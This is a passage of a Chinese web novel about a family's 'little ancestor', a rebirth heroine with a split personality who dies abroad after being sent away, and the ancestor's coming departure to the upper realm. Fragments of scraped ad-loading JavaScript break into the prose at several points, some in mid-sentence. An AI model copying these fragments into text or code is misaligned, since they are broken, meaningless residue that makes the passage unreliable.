不过,那孩子闹这么一出,真的让他很失望。 什么样的妈,养出什么样的女儿,这句话可能有些诛心,但有时还是很有道理的。 去到医院第二次和那孩子接触,白安邦觉得孩子真被那女人养歪了。 他到医院时,还没进病房。 里面就传出那女人的谩骂声,各种的污言秽语。 白安邦当即眉头深锁,心中想着将母女俩分开安置的可行性。 他来一趟,只想速速将事情处理完,并不想多浪费时间在母女俩身上。 没有敲门,他直接推门而入。 屋里除了母女俩,还有两个他的人。 因着那孩子有要跳楼自杀的行为,他的人发现苗头后,及时制止。 将人带回病房后,为了以防万一,直接待在病房里看着人。 “安……安邦……” 前一刻,还在骂骂咧咧,比泼妇骂街有过之而不及的姜梦女士,当场表演秒变脸的功夫,那叫一个丝滑。 “呜呜呜,你终于来了,咱们宝贝女儿刚刚竟然想做傻事,简直快吓死我了。” “幸好你有安排人保护我们母女俩,呜呜,安邦,我知道你内敛,不怎么会表达,没事的,我和女儿都懂你,知道你是在乎我们母女俩的就行。” 白安邦:“???” 是他看着像瞎子,聋子,还是傻子吗? 白安邦朝他的人看了一眼,“聒噪,先让这女人闭嘴。” 他的话一出,姜梦不可置信,大受打击。 在她准备激烈反抗时,已经来不及了。 变故发生得太快,不管是十一岁的姜可柔,还是重生回来的姜可柔,皆是错愕不已。 十一岁的姜可柔因着亲眼见到渣……男人对那个小女孩的宠溺,心中生出渴望与期待。 可以说,无意识中,男人在她心中已经有了一层淡淡的滤镜。 而重生回来的姜可柔,她和男人接触过。 在知道她的存在后,即使对她没有父女之情,可每回接触,男人态度都是温温和和的。 并尽量在物质上弥补的她二十来年缺失的父爱,该尽的父亲职责,他都做得很好。 只可惜,恨意的种子已经在她心中生根发芽,长成参天大树了。 可以说,恨渣爸,后面连同渣爸一家一起恨,已经成了她身体本能了。 再次见到这个血缘上的父亲,只一眼,她就觉得不一样,似乎有什么不一样了。 白安邦:“……” 能一样才奇怪! 呵,就你那一世。 老祖宗当时算出白家有灭族之危,具体灭族的时间算不出来,却随口说了一个自己的直觉。 应该就是未来十几二十年的事,大概率不会超过十五年。 白家人苦寻老祖宗十几年无果,笼罩在白家头顶的乌云越来越浓厚。 突然又冒出个白家嫡系血脉,还是个乖乖巧巧,独立坚强的小姑娘。 白家人又没有上帝视角,哪里会把家族存亡的大事与这么一个小姑娘联系在一起。 更是想着,如果白家最终没能躲过灭族的命运。 到时这个才找回的小姑娘,没享受几年白家的资源,就要跟着家族一起…… 所以,白家人即使对小姑娘没感情,但还是尽量释放善意,以及在物质能满足些就多满足些。 至于这一世,白家人已经找到老祖宗。 并且从老祖宗那得知了,白家的灭族之危与这对母女有关。 所以,还想得到上一世那样的待遇,怕不是在想屁吃。 白安邦原本还有些顾虑到孩子的感受,话没说太直白。 这回,他是真的敞开天窗说亮话。 既然连死都不怕,那肯定更不怕他的这些大实话。 本就是不被他期待出生的孩子,甚至出生的方式令他厌恶。 若是觉得他说的话很过分,很无情,那也没办法。 要怪要恨也不该是对他, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而是应该对把她生出的那个女人。 姜梦身体被人控制住,嘴也被堵着。 她听到白安邦的话,嘴里不断发出呜呜咽咽的声音,同时猛摇着的脑袋,仿佛在说不是这样的,不是这样的。 十一岁的姜可柔脸色很白很白,双手攥紧了。 重生回来的姜可柔脸色同样很不好,而且她还是事先已经知道所有内情的。 不过她心智更成熟,也过了渴望父母之爱的年纪,很快就调节好自己的情绪。 “蠢货,会哭的孩子有糖吃,这还要我教吗?” “快哭,快卖惨,快苦苦哀求,哪怕是下跪都行。” “别傻杵着呀,你个蠢货,你要是不行,就让我来……” 脑中的声音像是给十一岁姜可柔的身体注入了力量,她真的扬起小脸,神色倔强的与白安邦对视, 眼眶一下子就蓄满了泪水。 “长到十一岁,我才知道自己有爸爸,还是长得又高又帅的爸爸。” “小时候,很多小朋友都骂我是没爸的野种,她们不仅不跟我玩,还欺负我,打我……” “爸爸,原来我不是没爸的野种,我也是有爸爸的孩子,我知道我可能没有妹妹长得可爱讨喜,可是我真的很乖的,能自己挣钱养活自己的。” 白安邦:“???” 妹妹,谁呀? 重生回来的姜可柔:“???” 哪里冒出来的妹妹,渣爸不是才生了三个儿子,没有女儿吗? 不过不管是白安邦,还是重生回来的姜可柔都没有打断她的话。 白安邦想得很简单,冲着这层血缘关系,他可以当下听众。 但是,对方要是以为她哭诉的话能让他动容,进而改变主意,那只能说还小不了解男人。 男人呀,在对待不爱的女人,以及不爱女人生的孩子,能有多狠,多无情,多无耻,真的是没有下限的。 “爸爸,你放心,我不需要你养我的,我真的可以养活自己和妈妈的,你可不可以不要送我和妈妈出国。” “还有……还有我保证,一定不会和妹妹抢爸爸,也不会和妹妹抢家产的……” 第208章 我那迷人的小祖宗or老祖宗(46) 毕竟还只是十一岁的孩子,翻来覆去,能说出的内容也就这些。 白安邦第二次听到妹妹两个字时,已然猜出对方应该是误会了,以为老祖宗是他女儿。 白安邦:“……” 呵呵,还真敢想。 借他十个胆子,也不敢有这种大逆不道的想法。 十一岁的姜可柔说到最后,几次张唇不知道要说什么了。 只能委屈无助的看着白安邦,哭得像个小可怜。 别说,不愧是亲母女,哭起来的调调很相似。 白安邦捏了捏眉心,“明天早上就送你们出国,最后,话我还是放这里了” 他的神情陡然严肃深沉起来,声音透着丝丝寒凉。 “出国后,你要继续寻死觅活,那请便,命是你自己的,生,你我都没办法选择,死,我尊重你的选择。” “当然,聪明的人就知道该如何做选择,但如果你是个蠢的,以后的人生会过成什么样,那就是你自己的事了。” “最后,给你一个做选择的机会,你想那个女人作为你的监护人,跟你一起生活吗?” 白安邦的这个问题一出,才刚消停下来的姜梦女士再次疯狂的挣扎起来。 而不管是十一岁的姜可柔,还是重生回来的姜可柔,都怔愣了下。 最先回神过来的是重生回来的姜可柔。 “蠢货,还发什么呆,如果一定要出国,那就选择自己一个人过,千万别带上……那个女人了。” 一开始还咱妈咱妈的喊,现在直接喊那个女人了。 对人性的认知以及权衡利弊,她可是比十一岁的自己更懂。 “快点回答,说你自己一个人能行的,妈妈她该有自己的人生,只要和你分开,妈妈就可以去过她自己的人生,而不是受你拖累。” 脑中的声音不断催促着,十一岁的姜可柔陷入两难境地。 这种时候,姜梦似乎也意识到挣扎没用。 她安静来下,泪眼汪汪,眼里满是乞求的看着女儿。 没谁是傻子,姜梦也一样。 如果改变不了被送出国的命运,她当然是要和女儿在一起,才能继续过上好日子。 要是和女儿分开,谁来养她? 十几年没工作了,让她这个年纪再出去工作,这个苦她可吃下。 孩子么,总是记吃不记打的。 还有,毕竟是自己照顾,爱了十几年的亲妈。 十一岁的姜可柔一番纠结犹豫后,还是咬着唇摇了摇头。 “爸爸,我已经当了十几年没爸的孩子,不能再没有妈妈了,而且,妈妈其实真的很爱我,也……很爱爸爸的。” “所以……” 白安邦眸中的失望之色很明显,他出声打断道:“好,我知道你的选择了。” 十一岁的姜可柔看到男人眼中的失望之色,不知为何的,突然就有些慌。 脑中那道声音对她骂骂咧咧起来,那话是越说越难听。 十一岁的姜可柔是不解的,隐隐还有些心慌,她咬了咬唇,让自己眼神更加坚定些。 她想大声说她的选择没有错,没妈的孩子像根草。 到了异国他乡,又只剩她们母女俩相依为命,妈妈肯定就会变回原来的样子。 算是都谈好了,白安邦直接转身准备离开。 只是走到门口,想到什么,他又回头补充了句。 “对了,我没有女儿,那是我们白家的老祖宗。” 白安邦说完就离开了,却不知道自己留下了一颗怎样的炸弹。 没有女儿? 哈哈,是这样吗? 哪怕那个小妹妹不是他的女儿,可,可不是还有她吗? 真的,真的就一点没把她当女儿看待过吗? 十一岁的姜可柔失魂落魄的垂下脑袋,让人看不清她表情。 而从白安邦离开后,脑中一时也没有声音响起,很安静。 老祖宗?! 重生回来的姜可柔神魂巨震,此时的表情惨白惨白的,很可怕。 怎么可能? 绝对不可能! 那是属于她的,是她的机缘,是她重活一世准备大干一场,睥睨天下的最大依仗。 不,白家绝对不可能先她一步找到白玉瓶。 她心里又慌又害怕, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心里只有一个在叫嚣,不能出国,一定不能出国。 她想到那老怪物从白玉瓶出来后,可是会变成四岁小孩的心智,啥也不记得,很好忽悠,很有骗的。 她要赶快抢夺到身体,然后去拿回属于她的东西。 …… 翌日,白安邦派去的人很顺利的将人送出国了。 不放心人,白安邦依旧有安排人密切关注着母女俩。 才出国不到两个月,果然就出事了。 那女人死了,被那孩子失手杀死的! 白安邦并没有出国,全权交由手下人去处理。 亲亲媳妇儿气还没消了,他这段时间不是在哄媳妇,就是在哄媳妇的路上。 没出国,不过什么情况手下人都有和他汇报。 那女人出国后,花钱大手大脚的。 月初没几 天就把他打到孩子账户上的钱花光,并且还一直打骂孩子。 白安邦事先不知道这情况,他是有派人看着人,却让人如果不是什么可能危害到白家的事,都不用和他说。 当然,就算他知道了,也不会管就是了,毕竟这是那孩子自己的选择。 那孩子还未成年,过失杀人不需要负刑事责任。 不过那边竟然传来,那孩子生病了,还是精神疾病,人格分裂症,拥有双重人格。 白安邦本想要长话短说的,只是老祖宗想听详细的。 他只好讲故事般,把前前后后发生的事都讲了一遍。 白小人幺幺皱眉低语“双重人格?” 白安邦以为老祖宗是第一次听到这个词,不懂其意思,正要解释了,就又听老祖宗直呼“有趣,有趣。” 白幺幺觉得女主这病有蹊跷,心中已然有了一个猜测。 “继续讲吧,姜可柔是怎么死的?” 老祖宗要听,白安邦当然是继续接着说。 “其实也没啥复杂的,那孩子不是有双重人格吗,那第二人格是个凶残的,一直都想要取代主人格,抢占身体的使用权。” “我给那孩子安排了权威心理医生,可是她很排斥抗拒,到最后却是让那第二人格给害了。” 第209章 我那迷人的小祖宗or老祖宗(47) “不管是主人格,还是第二人格,她们要抢夺身体的使用权,关起门来抢就是了,非得在车来车往的大马上。” 白安邦停顿了下,重重叹了口气。 “老祖宗,您说这不无异于自己在找死么!” 白小人幺幺点了点头,“的确是找死。” “小安安,那你有出国去帮人处理后事吗?” 没想到老祖宗会突然问这个问题,白安邦心里咯噔了下,一时不知道要怎么回答。 纠结几秒后,他还是照实回答道:“没有,我全权交给在国外的手下处理,最后让手下直接在国外将那孩子的骨灰撒到海里。” 白安邦说完,心是微悬着的。 老祖宗会不会觉得他这样处理有些不妥,显得有些凉薄无情了,毕竟那孩子怎么说也是他的亲生女儿。 其实听到人没了时,他心情挺复杂的,再怎么样,好歹也是条人命。 没再往国外跑一趟,是觉得人在世时都已经决定此生能不再见面就不再见面,大家各自安好。 现人没了,再跑这一趟就没意义了。 白幺幺可不知道白安邦内心的担忧,要是知道了,她准要骂人的。 就那白眼狼,送她出国,花钱养着她算仁至义尽了。 也不看看剧情中,这白眼狼如何霍霍他们这一大家子的。 白幺幺满意的说道:“不错,你这样处理挺好的,我还担心你会一时拎不清,跑国外去了,甚至将人带回国来。” 也不看看剧情中,偌大的一个家族团灭,且都不得善终。 把人带回来干嘛?带回来膈应白家人吗? 得了老祖宗的认可,白安邦微悬着的心才落下,多少受这件事影响的情绪也跟着恢复了。 “对了,老祖宗,现在人没了,那家族的危机?” 白安邦也不知道老祖宗那边说话方便吗,所以他这边就是点到为止。 反正老祖宗那么聪明,肯定能懂他的意思。 只是迟迟没等到老祖宗的回答,白安邦心下当即一紧,试探的唤了两声。 “老祖宗,老祖宗。” “小安安,你把刚刚的话再说一遍,我刚刚走神了,没听清。” 白幺幺手指摩挲着从脖子上取下来的白玉瓶,就刚刚她明显感觉到瓶身在发烫。 温度还行,没到会烫伤人的程度。 也是因此,她刚刚才会走神。 白安邦不疑有他,又将刚刚的话重复了遍。 “小安安啊!” 白幺幺将白玉瓶重新挂回脖子上,才语重心长的说:“命数这种东西并不是一成不变的,懂吗?外部的力量只能是兵来将挡水来土掩,关键还是内部先做好自己。” 原剧情中,不管是白保国还是白安邦,至死都在悔啊! 长辈催婚可以,却要以适当的方式,且应适度,太逼迫孩子不就适得其反了。 而面对长辈催婚,直接跑去医院冻精,还就在医院里嚷嚷自己不婚了。 后面又跑去结婚,老婆孩子热炕头的,直接把留在医院的精子忘记了,也不知道要处理下。 如果不去医院,是不是就不会遇见姜梦,也就没了后面姜梦因对他一见钟情,而去偷精产子。 如果…… 白幺幺回想着剧情中,不管是白保国还是白安邦,在知道一切的罪魁祸首是姜可柔时。 两人皆是被悔意浸满,最先反省了自己,各种如果冒了出来,都觉得自己才是家族的罪人。 其实,怎么说了,白幺幺觉得挺唏嘘的,她站在上帝视角真的不好说什么。 也不管对方听懂了没,白幺幺说有事就挂断了电话。 白玉瓶挂在脖子上,与自己胸前的皮肤紧密相贴,白幺幺能感觉到瓶身温度已经恢复正常了。 只是白玉瓶突然发烫,她并不觉得是无缘无故的。 剧情中也没写有没有过这样的情形,而她又没有原主四岁之后的记忆。 熄了再将白玉瓶拿出来把玩的心思,白幺幺拿起手机想继续玩游戏。 只是打开游戏界面,她发现没了一开始的兴致。 好吧,是她心里隐隐有些烦躁,竟然连游戏都玩不下去了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可能是白玉瓶毫无预兆的突然发烫,一下子就吸引了她全部注意力,之后还被影响得有些心神不宁。 以至于她根本没注意到,在察觉到异样,并从脖子上取下白玉瓶摩挲时,有一道视线在她手上停留许久才移开。 大佬办公室的沙发蛮大的,白幺幺在上面翻腾了好几圈,头上的两个小揪揪因着她的动作都有些被弄散了。 白玉瓶就是她往返两界的偷渡工具,突然有反应,瓶身发烫,白幺幺想到了一种可能。 应该是原主还留有什么后手,只是原剧情中没提到而已。 白幺幺大胆的猜测,应该是催她回上界的。 她本就不是什么优柔寡断的性子,也早就做好等原主的心愿一完成就回上界去的准备。 麻溜的从沙发上爬下来,白幺幺小跑到大佬身旁。 见人很是专注的在看一份文件,没察觉到她的靠近。 她只能伸手拉 了拉大佬的衣服,等人看过来时,立马咧嘴笑了笑。 “大哥哥,我有点事要回白家住两天哦!” 上官墨一把将人抱坐在办公桌上,两人面对面的,他才问:“还回来吗?” 白幺幺:“……” 总感觉大佬猜到了什么,可是她不敢问。 “肯定还回来呀!”白小人幺幺重重的点头,头上那两个有点散的小揪揪也跟着晃动。 上官墨见了,微垂了下眼睑,而后起身,动作娴熟的给小人儿重新将两个小揪揪绑好了。 白小人幺幺两只小脚微微晃动着,十分享受大佬的服务。 等大佬重新坐回椅子上后,她朝人竖起了一个手指头。 不得不说,小孩子的手指没有成年人的修长好看,可短短胖胖的,真的很可爱。 “大哥哥,幺幺今天很开心,可以给大哥哥一个向幺幺许愿的机会,然后由幺幺来达成大哥哥的这个愿望,不过只能许一个哦!” 白小人幺幺晃了晃手指,补充道:“大哥哥,你已经是二十几岁的大哥哥了,可不能幼稚的许那些幺幺无法完成的心愿哦。” 第210章 我那迷人的小祖宗or老祖宗(48) 上官墨定定的看着人,沉默着,似是真的在认真思考着要许什么愿。 白小人幺幺:“……” 被看得有些心虚怎么办? 只能继续维持的微笑表情,让大佬看着呗! 也不知道过去了多久,反正白幺幺感觉是挺久的了,大佬才想好了心愿。 “幺幺如此大方的给了我一个许愿的机会,我很高兴,真的。” 白幺幺:“……” 怎么感觉大佬是在说反话,可惜她没证据。 “所以啊,我的心愿的很简单,肯定是幺幺可以办到的,不会为难幺幺的。” 上官墨说完,勾唇看着白小人幺幺,似是在等待她追问他的心愿是什么。 这种时候,开弓没有回头箭,白幺幺只能硬着头皮上了。 “这样啊,就知道大哥哥对幺幺最好了,那大哥哥心愿是什么?快告诉幺幺。” 上官墨神色认真的看着人,一字一顿的说道:“幺幺一直陪在我身边,好不好。” 白幺幺:“……” 不意外,真的不意外,还有种尘埃落定的轻松感。 继续装傻充愣? 算了吧,当大佬是三岁小孩啊! 白幺幺发誓,她一开始真的只是很单纯的想抱大佬大腿。 毕竟她这副身体,能做什么? 可大佬他不按牌理出牌呀! 就是到现在,都还想不通大佬对她的情之所起。 然后大佬又给的太多了,错了,是大佬又对她太宠了。 这种时候,她哪里好意思当啥贞洁烈女,不对,又错了,是没有心的渣女。 每个小世界,白幺幺都是很认真在对待的,随心随性,秉着负责任的态度。 不管是安子皓,霍毅,沈之牧还是顾石川,她每个人都爱。 呜呜,好像有那么一点点渣味。 可是她有啥办法,总不能让她为了其中一个封心锁爱,在以后的任务世界做个不动心不谈情的打工人。 那种许一人生生世世的爱情,白幺幺同志觉得自己目前还是个俗人,做不到啊! 算了,又想这些做什么。 俗人就俗人呗,随心而为就行,其他的船到桥头自然直。 白小人幺幺眨巴了下黑溜溜的大眼睛,十分爽快的回道:“好啊!” 同时在心里补充道:不过不是在下界,而是等回到上界,她真的可以一直陪在大佬身边的,前提是大佬还需要她来兑现这个承诺。 心愿达成了,可上官墨表情还是平平淡淡的,看不出喜怒。 白幺幺可不管他了,活动活动了下脖子,从办公桌上跳下来。 她算是给自己开解明白了,所以打游戏的兴致又回来了。 只是她才走出两步,就被大佬喊住了。 “不是要回白家,什么时候动身,我送你回去吧。” 白幺幺:“……” 真差点把这茬给忘了。 要不现在就回去,刚好今天周六,三兄弟没去学校。 至于游戏,等下在路上也可以玩。 白小人幺幺笑着挠了挠头,“大哥哥,你不说,我一时都忘记这事了,那我就现在动身回去吧。” 上官墨没有说什么,起身走过来,一把将人抱起向停车场走去。 今天充当司机的是武一,听到是要去白家,他狠狠愣了下。 白家的老祖宗要回去了吗? 不得不说,他们已经习惯自家主子身边时时刻刻有这么个人的存在了。 而且自家主子对白家老祖宗有多纵宠,他们这几个贴身保护主子的最清楚了。 白幺幺没和白家说一声,她已经在回去的路上,算是给他们一个惊喜。 到了白家。 白小人幺幺作为主人,邀请道:“大哥哥,怎么样,要不要进去坐坐?” “不了。” 上官墨看着人问道:“只待两天吗?到时我来接你。” 白小人幺幺小鸡啄米似的点头,“就两天,我可舍不得和大哥哥分开太久。” 上官墨:“……” 小骗子! 白幺幺下车时,刚好见到从楼上跑下来的三兄弟。 白文泽小朋友首当其冲,像个炮弹似的冲到白幺幺面前,各种问题抛了出来。 “老祖宗,您怎么回来了?” “老祖宗,您是不是不在朋友家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做客了?” “老祖宗,您有没有想我和哥哥们呀?” …… 三兄弟已经好几天没见到老祖宗了,想念得紧。 自从老祖宗去朋友家做客,他们为了见到老祖宗,只能跟着他们爷或者他们爸去出席一些宴会和活动。 因为老祖宗也会跟着她那朋友一起吃席这些宴会和活动。 放往常,他们可最排斥去这些场合,每次三兄弟都是轮流上一个的。 只是,现在三兄弟都是一起上的。 唉,明明是他们家的,他们家的老祖宗呀! “停。” 白幺幺被一连串的问题砸得脑袋嗡嗡的,也幸好三兄弟都是听话的孩子。 她这一喊停,白文泽小朋友立马就收声了 。 而这时老爷子也闻讯走出来了。 “老祖宗,您要回来,怎么不提前和我们说一声,我们好派车去接您。” “好了好了,小保国,和老祖宗我就不用搞这套虚礼了。” 白保国出来时,上官墨的车已经离开了,活到这把年纪,有些想法根深蒂固。 老祖宗可以说不要,但他们不能不做。 将人迎进去后,白保国对着围在老祖宗身边的三兄弟驱赶起来。 “去,去去,都去忙自个儿的事,别围着你们老祖宗,你们老祖宗才刚回来,舟车劳顿的,让你们老祖宗休息下。” 舟车劳顿的白小人幺幺:“……” 她舟车劳顿?有吗?哪只眼睛看出来的! 是谁,是谁带坏了小保国。 这说话一套套的,有点夸张了哟! 或许是该庆幸没把风尘仆仆这词也给整上了。 白小人幺幺冲着三兄弟摆摆手,“你们先回书房准备下,半个小时后我再去找你们。” 白幺幺的话一出可比老爷子的管用多了,三兄弟齐声道:“好的,老祖宗,我们先去书房等你了。” 客厅一下子剩下白幺幺和白保国,白幺幺睨了人一眼,“走吧,去书房谈点事情。” 两人一前一后来到书房,门一关,白幺幺就开口抛出一颗炸弹来。 “我可能要离开了。” 第211章 我那迷人的小祖宗or老祖宗(49) “什么?老祖宗您刚刚说了什么,我这年纪大,耳朵有点不好使了。” 知道这一天迟早要来,但突然毫无心理准备的这么一听。 白保国震惊之余,又想着会不会是自己听岔了。 白小人幺幺:“……” 她朝人招了招手,让人麻溜的走近些。 等人从门那边走过来,白幺幺才清了清嗓子。 “咳咳,小保国呀,这个距离,这个音量能听清楚了吗?” 不知道的还以为她手上拿着个麦克风,在调麦了。 白保国:“……” 要不是老祖宗脸上还挂着春风和煦的笑容,他都该惶恐不安了。 “能……能听清楚了。” 白幺幺同志还是很尊老爱幼的,尽管她在白家才是那个最“老”的。 嗯,也是那个最“幼”的。 得到肯定回答后,白幺幺才重新说道:“小保国啊,老祖宗我是时候要离开了。” 白保国没再一惊一乍,沉默了一瞬,才问道:“老祖宗您具体是什么时候要离开?到时我们送送您。” 白幺幺一听,忙摆手。 “送啥送,不用送了,我悄悄的来,当然也是要悄悄的走。” 她最不喜欢分别的场面了,特别是到时要是有人哭哭啼啼的,想想她心里的小人直摇头。 白保国:“???” 老祖宗是悄悄的来吗? 不是,老祖宗是不是对“悄悄的”的词有啥误解。 作为老祖宗的忠实拥趸者,当然是老祖宗说啥就是啥。 白幺幺其实叫人进来书房,除了说下这事,还给白家制订了百条家训。 在白幺幺放下毛笔时,白保国就有些迫不及待的拿起来看。 他如孩童得了糖般,看得如痴如醉。 白小人幺幺偷偷甩了甩有些酸麻的小手,十分满意小保国对待她写出来东西的态度。 估摸着时间,等觉得对方应该看的差不多了。 白小人幺幺才双手背在身后,昂首挺胸,摆出一副高人之姿来。 “小保国啊,这百条家训可是老祖宗我想了三天三夜才得来的成果。” 白幺幺本想说一天一夜的,又觉得,太容易得来的,容易显得不值钱。 至于说个七天七夜,还是十天半个月,是不是会显得她这个老祖宗能力一般般。 最后,她取了个三天三夜。 “以后这就是我们白家的新家训了,传家训,正家规,严家风……” 白幺幺叭叭叭说了有二十来分钟,感觉到口渴了,才停下来。 白保国珍而重之的捧着老祖宗赐的家训,目光灼灼的听着老祖宗的教诲。 声音停下来时,他还意犹未尽,由觉得听不够。 不行了,她要赶紧去喝杯水。 “我去找三兄弟了,小保国你就自个人在书房消化下这百条家训。” 白幺幺留下这么句话,就离开书房,哒哒下楼去找水喝了。 三兄弟在书房里,那是数着时间在等。 听到开门声,三人齐刷刷转头看去。 白文泽小朋友仗着自己最小,最可爱,最得老祖宗喜爱,起身小跑迎上去。 “老祖宗,您和爷爷谈完事情了吗?” 白小人幺幺简单的“嗯”了声,直接上手在小家伙肉嘟嘟的小脸上蹂躏起来。 这样的画面已经上演了不下五次,回回白文泽小朋友那小脸都红得不像话,活像被恶霸调戏的小媳妇。 不得不承认,白幺幺同志就是恶趣味犯了,喜欢看小家伙这副样子。 如果还能像初次见面时那般,来个使命挣扎就好了,就更好玩了。 白文旭和白文勋两人也有想过要不要卖个萌,让老祖宗也能亲昵的捏捏他们的脸。 只是吧,想象下自己把脸送过去给老祖宗捏的画面,两人皆是浑身一个激灵。 两兄弟对视一眼,摇头,还是算了吧。 这种调调,可能就只适合不怎么聪明的小弟。 可能是要分开了,蹂躏完最小的白文泽小朋友,白幺幺同志想着要不要雨露均沾一回。 她放开手上的细皮嫩肉,抬眸朝双胞胎兄弟看去。 白文旭和白文勋见老祖宗突然朝他们看来,莫名的有些小紧张。 说好的雨露均沾,白幺幺笑得像怪阿姨似的朝两兄弟走去。 白文旭和白文勋:“……” 老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 祖宗带着奇奇怪怪的笑意朝他们走来了,越来越近了,她终于将魔爪袭向他们…… 双胞胎么,白幺幺怕两人会因为她先捏了谁,心中生出点情绪来。 她想也不想,朝两人压了压手,示意他们把身体放低些。 之后她两手同时上,一手捏一人。 不愧是双胞胎兄弟,反应神同步,第一时间都下意识的想躲开,只是白幺幺的动作很快。 两兄弟身体僵硬,乖乖的任由老祖宗的手在他们脸上各种动作,小脸终是逃不过脸红脖子红的命运。 白文泽小朋友此时脸已经不怎么红了,走过来蹲在三人旁边。 他双手托腮,仰着头点评起来。 “老祖宗,我大哥二哥瘦巴巴的,肯定没有我的脸好捏!” “老祖宗,我大哥二哥脸红了耶,不过他们的脸瘦巴巴的,红起来像猴屁股,不像我的,红起来像红苹果。” “……” 白幺幺:“……” 所以她还要不要继续捏……猴屁股…… 白文旭和白文勋:“……” 弟弟不怎么聪明,会不会是教训的少了?! 为了照顾两兄弟的情绪,白幺幺同志并没有立马收回手。 唉,作为这么一大家子的老祖宗,她容易么! 白幺幺人是没在白家,却时不时打电话过来突击检查三兄弟的课业。 她拿出小本本来,三兄弟见了,全都露出去期待之色来。 一开始,任谁突然冒出个比自己小好几岁的老祖宗,能欣然接受的。 他们就是冲着对方拿出来的好东西,才配合的。 只是后面接触,他们才发现自己错了。 老祖宗果然就是老祖宗,不仅博学,啥都懂,还会武功。 反正,三兄弟最后彻底臣服了。 白幺幺有过认真考量,拿出来给三兄弟作为奖励的东西,并不是那种很夸张的。 好吧,其实就是一些最低级,最普通的东西。 比如穿了能让人跑更快,跳更高的靴子。 而这靴子更神奇之处,就是能根据主人脚的大小调整尺码。 再比如穿了能冬暖夏凉的不知材质超薄背心…… 第212章 我那迷人的小祖宗or老祖宗(50) 三兄弟每人都得到了两件宝贝。 白幺幺见三人爱不释手的模样,不由轻咳一声。 “怀璧其罪的道理,你们三个可都懂,不用老祖宗我再和你们细说了吧!” 三兄弟齐齐点头,“老祖宗,我们懂的。” 白文泽小朋友捧着东西,表情郑重的说:“老祖宗,我一定会守好您奖励给我的两件宝贝,以后作为传家宝传给我的子孙后代。” 白幺幺:“……” 毛都没长齐的小屁孩,就在想子孙后代了! 还有当啥传家宝,大可不必,真的大可不必。 白文旭和白文勋:“……” 他们现在也跟着说这么番话,会不会显得很不聪明的样子,连说话都要跟着弟弟学。 原以为老祖宗是要回来长住了,没成想,只是回来小住两天的,周一就又要离开。 三兄弟心中无不失望,面上却不显。 原本周末和小伙伴有约的,当然是统统推掉,推掉。 特别是白文勋和一群小伙伴约好了,周日去郊外庄子浪一天的。 突然以要学习说自己不去了,让小伙伴自己去玩。 小伙伴们:“???” 勋哥近来学习态度很端正是没错,可是他们约好了的呀,怎么突然就又要学习了? 其中一个小伙伴说:“既然勋哥你不去,那我也不去玩了,要不勋哥,我去找你一起学习吧!” 白文勋:“……” 他学习个锤子呀,他就是要陪老祖宗。 呵,还来陪他一起学习,老祖宗有他们兄弟三就够了。 最后的最后,被放鸽子的这群小伙伴并没有去郊外庄子玩,更没有去找他们勋哥一起学习。 约了都约了,就一起无所事事的瞎逛,反正学习是不可能学习的。 然后,就是那么的巧,小伙伴们竟然在游乐园门口看到他们勋哥了。 说好的学习呢? 小伙伴们瞧见自家勋哥身旁的几人,还是很有眼力见的没有凑上前去。 时间如流水,哗啦一下就到周一了。 上官墨过来接人时,三兄弟刚好吃完早餐,拿上书包准备去上学。 偷偷瞪了眼上官墨的车,三兄弟乖巧的问好。 没办法,爷爷交代过的。 而且,老祖宗喜欢去这人家做客,他们要是对这人不礼貌,等下这人会不会把气撒老祖宗身上。 上官墨:“……” 三兄弟不知道此次再见,可能就是永别了。 还是背上书包开开心心上学去,期待着老祖宗哪天再回来小住两天。 白保国,白卫国以及白安邦知道是一回事,想问个离开具体时间却始终没问出口。 车子不知道都离开多久了,三人还站在原地,久久没离开。 白小人幺幺一上车,小嘴就开始叭叭叭的讲个不停,和大佬分享自己这两天回白家是怎么过的。 连很小很小的细节,比如早餐吃了几个灌汤包都说。 上官墨听得很认真,期间并没有插嘴,就只是很认真的听着。 白幺幺啥都说,事无巨细的,却唯独漏了一件事没说。 她回白家的两天里,白玉瓶又出现了发烫的情况,足足有五次。 到了公司,武十下来给自家主子打开车门。 见自家主子先下来,而后回身过去抱车内的人,武十内心有点小激动呀。 他家主子终于恢复正常了。 一日不见如隔三秋,以前他不懂这句话。 可在白家老祖宗回白家的这两天里,他深刻体会到了这句话精髓呀。 当然,不是对他,而是对他们主子的。 夜晚,繁星满天。 书房里,上官墨在看书,白幺幺同志则在观星。 傍晚吃饭时,白玉瓶再次发烫。 她隐隐能感觉白玉瓶在催着她赶紧回上界,时间越来越紧迫了。 唉,也不知道近几天会不会有啥星象奇观,比如双星伴月,七星连珠啥的。 这不,就算要回去能选个良辰吉日不好吗,或许还可以装一波逼。 夜风吹在脸上,凉凉的,柔柔的,很轻易就勾起人的困意。 察觉到白玉瓶又开始发烫了,白幺幺将其从脖子上取下来。 借着月光打量起,心里则想着这白玉瓶能耐不过尔尔,只会时不时发烫下。 到底是什么情况,紧不紧急啥的,倒是别光升温发烫呀! 有本事说说话之类的,或者用文字显现出来也行,反正修 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仙世界的法宝本就不能以常理度之。 就在白幺幺刚吐槽完,白玉瓶不发烫了,改发光。 盈盈白光中,白幺幺看到了一串字符。 很小,但她却很容易就看清字符的内容。 “幺幺,传帝北神君历情劫将归,速回!” 白幺幺:“……” 啥玩意?! 此时,白幺幺同志已经顾不得震惊,原来白玉瓶发烫并不是单纯的在发烫,而是在传递信息。 让她震惊的是白玉瓶传达出的信息内容,如果她没记错的话,帝北神君不就是大佬。 历情劫??? 确定不是在开玩笑! 大佬原来是下来历情劫的,然后那个将归是大佬情劫快历完了的意思吗? 啥时候的事,她到了这个世界后,明明一直跟在大佬身边的。 白幺幺眨巴眨巴了下无辜的大眼睛,心里有点虚咋办?! 大佬历情劫的对象不会是她吧! 